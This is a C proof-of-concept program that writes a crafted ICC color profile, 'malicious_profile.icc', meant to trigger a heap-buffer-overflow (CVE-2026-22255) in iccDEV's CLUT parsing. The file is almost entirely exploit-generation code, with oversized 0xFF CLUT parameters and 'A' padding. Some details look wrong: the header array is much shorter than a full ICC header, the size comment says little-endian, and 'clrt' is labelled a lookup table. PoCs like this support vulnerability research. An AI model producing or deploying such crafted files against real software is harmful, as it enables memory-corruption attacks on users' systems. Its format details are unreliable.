#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// PoC for CVE-2026-22255: heap-buffer-overflow in CIccCLUT::Init()
// This PoC generates a malicious ICC profile with oversized CLUT data
unsigned char icc_header[] = {
0x00, 0x00, 0x0C, 0x62, // Profile size (little endian)
0x61, 0x70, 0x70, 0x6C, // 'appl' preferred CMM type
0x00, 0x00, 0x00, 0x00, // Profile version
0x00, 0x00, 0x00, 0x00, // Device class
0x00, 0x00, 0x00, 0x00, // Color space
0x00, 0x00, 0x00, 0x00, // PCS
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Date
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Reserved
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // Reserved
};
void create_malicious_icc_profile(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) {
printf("Failed to create file\n");
return;
}
// Write ICC header
fwrite(icc_header, 1, sizeof(icc_header), fp);
// Write malicious CLUT tag type 'clrt' (Color Lookup Table)
unsigned char clut_tag[] = {
0x63, 0x6C, 0x72, 0x74, // Tag signature 'clrt'
0x00, 0x00, 0x00, 0x00, // Reserved
// CLUT data with oversized dimensions causing heap overflow
0xFF, 0xFF, 0xFF, 0xFF, // Malformed CLUT parameters
0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48
};
fwrite(clut_tag, 1, sizeof(clut_tag), fp);
// Write padding to trigger overflow
for (int i = 0; i < 1024; i++) {
fputc(0x41, fp); // 'A' padding
}
fclose(fp);
printf("Malicious ICC profile created: %s\n", filename);
}
int main() {
printf("CVE-2026-22255 PoC - iccDEV heap-buffer-overflow\n");
create_malicious_icc_profile("malicious_profile.icc");
printf("To trigger vulnerability, load this ICC profile with vulnerable iccDEV version\n");
return 0;
}